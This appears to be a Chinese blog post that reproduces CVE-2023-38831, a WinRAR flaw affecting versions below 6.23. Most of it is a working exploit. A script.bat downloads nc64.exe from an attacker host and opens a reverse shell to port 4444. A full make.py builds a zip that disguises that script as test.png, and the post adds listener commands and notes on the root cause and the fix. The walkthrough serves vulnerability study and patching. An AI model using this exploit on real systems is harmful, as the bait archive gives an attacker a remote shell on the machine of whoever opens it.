• CVE漏洞复现-CVE-2023-38831 WinRAR代码执行漏洞


    CVE-2023-38831 WinRAR代码执行漏洞

    WinRAR介绍

    WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在 Windows环境下的图形界面。
    该软件可用于备份数据,缩减电子邮件附件的大小,解压缩从 Internet 上下载的RAR、ZIP及其它类型文件,并且可以新建 RAR 及 ZIP 格式等的压缩类文件。

    从5.60版开始,WinRAR启用了新的图标,但用户仍可以通过官网提供的主题包换回原版风格的图标。

    漏洞概况

    WinRAR是一款文件压缩器,该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。

    RARLabs WinRAR 6.23之前版本存在安全漏洞,攻击者利用该漏洞可以执行任意代码。

    漏洞影响

    • WinRAR < 6.23
    • 影响级别:千万级

    漏洞复现

    首先我们启动一个Kali虚拟机,将nc64.exe上传到虚拟机中相应的目录下,然后执行以下的代码,启动HTTP服务监听,让受害者的机器可以下载该程序

    python -m http.server
    
    • 1

    在这里插入图片描述

    然后我们在Kali机器上再打开一个新的终端,然后执行以下的代码启动端口监听

    nc -lnvp 4444
    
    • 1

    在这里插入图片描述

    接下来我们来制作POC文件,我们也可以直接用现成的利用脚本CVE-2023-38831-winrar-exploit,或者这里我为大家提供了漏洞环境,大家可以直接下载(二选一)现成的漏洞和利用环境

    首先我们在受害者的机器上制作一个script.bat执行文件,文件内容如下:

    curl http://KaliIP:8000/nc64.exe -O nc64.exe & nc64.exe KaliIP 4444 -e cmd.exe -d & test.png
    
    • 1

    然后我们需要在受害者的机器上准备一个make.py的文件,代码内容如下:

    import shutil
    import os, sys
    from os.path import join
    TEMPLATE_NAME = "TEMPLATE"
    OUTPUT_NAME = "poc.zip"
    
    BAIT_NAME = "test.png"
    SCRIPT_NAME = "script.bat"
    
    if len(sys.argv) > 3:
        BAIT_NAME = os.path.basename(sys.argv[1])
        SCRIPT_NAME = os.path.basename(sys.argv[2])
        OUTPUT_NAME = os.path.basename(sys.argv[3])
    elif len(sys.argv) == 2 and sys.argv[1] == "poc":
        pass
    else:
        print("""Usage:
              python .\make.py poc
              python .\make.py   """)
        sys.exit()
    
    BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
    
    print("BAIT_NAME:", BAIT_NAME)
    print("SCRIPT_NAME:", SCRIPT_NAME)
    print("OUTPUT_NAME:", OUTPUT_NAME)
    
    if os.path.exists(TEMPLATE_NAME):
        shutil.rmtree(TEMPLATE_NAME)
    os.mkdir(TEMPLATE_NAME)
    d = join(TEMPLATE_NAME, BAIT_NAME + "A")
    if not os.path.exists(d):
        os.mkdir(d)
    
    shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
    shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
    
    # if os.path.exists(OUTPUT_NAME):
    #     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
    #     sys.exit()
    
    shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
    
    with open(TEMPLATE_NAME + ".zip", "rb") as f:
        content = f.read()
        content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
        content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
    
    os.remove(TEMPLATE_NAME + ".zip")
    
    with open(OUTPUT_NAME, "wb")  as f:
        f.write(content)
    
    print("ok..")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54

    然后我们在准备一张名为test.png的图片,将这三样文件置于同一目录下

    在这里插入图片描述

    然后在该目录下,打开终端执行以下的命令生成名为poc.zip的利用文件

    python .\make.py test.png script.bat poc.zip
    
    • 1

    在这里插入图片描述

    接下来,我们需要用WinRAR(<=6.22)存在漏洞的软件中打开POC文件,双击普通文件,漏洞触发(运行script.bat内容、下载nc64.exe、建立反弹连接)

    在这里插入图片描述

    进入WinRAR软件后,我们可以通过帮助选项查看当前的RAR软件版本,可以看到我们当前的软件版本是 6.22,是存在漏洞的版本

    在这里插入图片描述

    接下来,我们只需要去双击test.png文件打开它

    在这里插入图片描述

    然后我们就会发现启动了一个终端窗口

    在这里插入图片描述

    同时我们的Kali机器也收到了受害者机器的Shell终端

    在这里插入图片描述

    漏洞原理

    当受害者尝试打开存档文件中的"test.png "时,WinRAR会比较存档中的所有文件以查找与"test.png "同名的文件/目录,如果存在与"test.png "同名的目录,WinRAR则会继续检查"test.png /"目录下的文件,如果"test.png /"目录下同样存在文件名为"test.png "的文件则将"test.png /"目录下"test.png "文件放入提取列表中,最终导致压缩包中的test.png .cmd被解压出来,并且
    运行。

    关于漏洞原理的详细部分可以看这篇文章CVE-2023-38831 WinRAR 逻辑漏洞原因分析

    漏洞修复

    将WinRAR软件版本更新至最新版本即可

  • 相关阅读:
    智能安防监控如何助力汽车4S店信息化精细化管理?最大程度做到降本增效?
    若依不分离+Thymeleaf select选中多个回显
    氟茚香豆素,CAS号:6723-40-6
    代码随想录二刷 Day 37
    2023秋招—大数据开发面经—杰创智能科技
    python selenium这一篇就够了
    虹科Q&A | SWCF2022 11月29日演讲笔记:卫星传输链路中的关键技术分享
    时序预测 | MATLAB实现贝叶斯优化CNN-GRU时间序列预测(股票价格预测)
    一个快递包裹的跨国之旅
    优化器算法
  • 原文地址:https://blog.csdn.net/qq_64973687/article/details/134069211